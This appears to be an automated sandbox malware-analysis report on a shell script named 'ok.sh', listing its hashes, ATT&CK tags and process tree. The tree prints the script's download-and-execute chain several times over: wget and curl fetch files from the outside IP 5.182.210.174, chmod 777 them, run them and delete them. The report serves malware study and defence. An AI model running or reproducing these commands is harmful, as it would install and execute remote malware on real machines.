7c8936eea92686924155c03b15400323ec6f9a3ff5e9d21deeb95bfb6e9d52f9

Analysis

max time kernel
2s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/09/2026, 03:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260902-ej4ygafl6x
SHA256 7c8936eea92686924155c03b15400323ec6f9a3ff5e9d21deeb95bfb6e9d52f9
MD5 326300644720fd0dc56c930059537406
SHA1 ac9fc0a8fd89a05dca04579fabd228f588610e8a
SHA512 f88a3cd00c13a84cac49837eab81d533029ca77a044b447bf05489b9cfe3316fc7d814c8d003cf79869e422dce8c80e9a87dbfa6f1c5c5477fc566b417413002
TLSH
T19331589E55104A710103CA9E73B33148B18DA6FB2C9FDBD4D95C4EA992883CDF2B1B5A
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1492	chmod
1499	chmod
1506	chmod
1528	chmod
1535	chmod
1542	chmod
1563	chmod
1514	chmod
1521	chmod
1549	chmod
1556	chmod
1570	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/a374c0	1493	ok.sh
/tmp/fc1f84	1500	ok.sh
/tmp/b407be	1508	ok.sh
/tmp/ca1a79	1515	ok.sh
/tmp/4d735c	1522	ok.sh
/tmp/6c866d	1529	ok.sh
/tmp/cbd468	1536	ok.sh
/tmp/a464d3	1543	ok.sh
/tmp/d7dea9	1550	ok.sh
/tmp/190fcc	1557	ok.sh
/tmp/6d4af7	1564	ok.sh
/tmp/96a1bc	1571	ok.sh

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/96a1bc	curl
File opened for modification	/tmp/fc1f84	curl
File opened for modification	/tmp/ca1a79	curl
File opened for modification	/tmp/6c866d	curl
File opened for modification	/tmp/cbd468	curl
File opened for modification	/tmp/a464d3	curl
File opened for modification	/tmp/d7dea9	curl
File opened for modification	/tmp/a374c0	curl
File opened for modification	/tmp/b407be	curl
File opened for modification	/tmp/4d735c	curl
File opened for modification	/tmp/190fcc	curl
File opened for modification	/tmp/6d4af7	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:1482
- /usr/bin/wget
  wget http://5.182.210.174/a374c0
  2⤵
  PID:1483
- /usr/bin/curl
  curl -O http://5.182.210.174/a374c0
  2⤵
  - Writes file to tmp directory
  PID:1488
- /bin/chmod
  chmod 777 a374c0
  2⤵
  - File and Directory Permissions Modification
  PID:1492
- /tmp/a374c0
  ./a374c0 bc
  2⤵
  PID:1493
- /bin/rm
  rm -rf a374c0
  2⤵
  PID:1495
- /bin/rm
  rm -rf a374c0.1
  2⤵
  PID:1496
- /usr/bin/wget
  wget http://5.182.210.174/fc1f84
  2⤵
  PID:1497
- /usr/bin/curl
  curl -O http://5.182.210.174/fc1f84
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/chmod
  chmod 777 fc1f84
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /tmp/fc1f84
  ./fc1f84 bc
  2⤵
  PID:1500
- /bin/rm
  rm -rf fc1f84
  2⤵
  PID:1502
- /bin/rm
  rm -rf fc1f84.1
  2⤵
  PID:1503
- /usr/bin/wget
  wget http://5.182.210.174/b407be
  2⤵
  PID:1504
- /usr/bin/curl
  curl -O http://5.182.210.174/b407be
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod 777 b407be
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/b407be
  ./b407be bc
  2⤵
  PID:1508
- /bin/rm
  rm -rf b407be
  2⤵
  PID:1510
- /bin/rm
  rm -rf b407be.1
  2⤵
  PID:1511
- /usr/bin/wget
  wget http://5.182.210.174/ca1a79
  2⤵
  PID:1512
- /usr/bin/curl
  curl -O http://5.182.210.174/ca1a79
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 ca1a79
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/ca1a79
  ./ca1a79 bc
  2⤵
  PID:1515
- /bin/rm
  rm -rf ca1a79
  2⤵
  PID:1517
- /bin/rm
  rm -rf ca1a79.1
  2⤵
  PID:1518
- /usr/bin/wget
  wget http://5.182.210.174/4d735c
  2⤵
  PID:1519
- /usr/bin/curl
  curl -O http://5.182.210.174/4d735c
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod 777 4d735c
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/4d735c
  ./4d735c bc
  2⤵
  PID:1522
- /bin/rm
  rm -rf 4d735c
  2⤵
  PID:1524
- /bin/rm
  rm -rf 4d735c.1
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://5.182.210.174/6c866d
  2⤵
  PID:1526
- /usr/bin/curl
  curl -O http://5.182.210.174/6c866d
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod 777 6c866d
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/6c866d
  ./6c866d bc
  2⤵
  PID:1529
- /bin/rm
  rm -rf 6c866d
  2⤵
  PID:1531
- /bin/rm
  rm -rf 6c866d.1
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://5.182.210.174/cbd468
  2⤵
  PID:1533
- /usr/bin/curl
  curl -O http://5.182.210.174/cbd468
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod 777 cbd468
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/cbd468
  ./cbd468 bc
  2⤵
  PID:1536
- /bin/rm
  rm -rf cbd468
  2⤵
  PID:1538
- /bin/rm
  rm -rf cbd468.1
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://5.182.210.174/a464d3
  2⤵
  PID:1540
- /usr/bin/curl
  curl -O http://5.182.210.174/a464d3
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod 777 a464d3
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/a464d3
  ./a464d3 bc
  2⤵
  PID:1543
- /bin/rm
  rm -rf a464d3
  2⤵
  PID:1545
- /bin/rm
  rm -rf a464d3.1
  2⤵
  PID:1546
- /usr/bin/wget
  wget http://5.182.210.174/d7dea9
  2⤵
  PID:1547
- /usr/bin/curl
  curl -O http://5.182.210.174/d7dea9
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod 777 d7dea9
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/d7dea9
  ./d7dea9 bc
  2⤵
  PID:1550
- /bin/rm
  rm -rf d7dea9
  2⤵
  PID:1552
- /bin/rm
  rm -rf d7dea9.1
  2⤵
  PID:1553
- /usr/bin/wget
  wget http://5.182.210.174/190fcc
  2⤵
  PID:1554
- /usr/bin/curl
  curl -O http://5.182.210.174/190fcc
  2⤵
  - Writes file to tmp directory
  PID:1555
- /bin/chmod
  chmod 777 190fcc
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/190fcc
  ./190fcc bc
  2⤵
  PID:1557
- /bin/rm
  rm -rf 190fcc
  2⤵
  PID:1559
- /bin/rm
  rm -rf 190fcc.1
  2⤵
  PID:1560
- /usr/bin/wget
  wget http://5.182.210.174/6d4af7
  2⤵
  PID:1561
- /usr/bin/curl
  curl -O http://5.182.210.174/6d4af7
  2⤵
  - Writes file to tmp directory
  PID:1562
- /bin/chmod
  chmod 777 6d4af7
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/6d4af7
  ./6d4af7 bc
  2⤵
  PID:1564
- /bin/rm
  rm -rf 6d4af7
  2⤵
  PID:1566
- /bin/rm
  rm -rf 6d4af7.1
  2⤵
  PID:1567
- /usr/bin/wget
  wget http://5.182.210.174/96a1bc
  2⤵
  PID:1568
- /usr/bin/curl
  curl -O http://5.182.210.174/96a1bc
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod 777 96a1bc
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/96a1bc
  ./96a1bc bc
  2⤵
  PID:1571
- /bin/rm
  rm -rf 96a1bc
  2⤵
  PID:1573
- /bin/rm
  rm -rf 96a1bc.1
  2⤵
  PID:1574

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a374c0

Path /tmp/a374c0
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download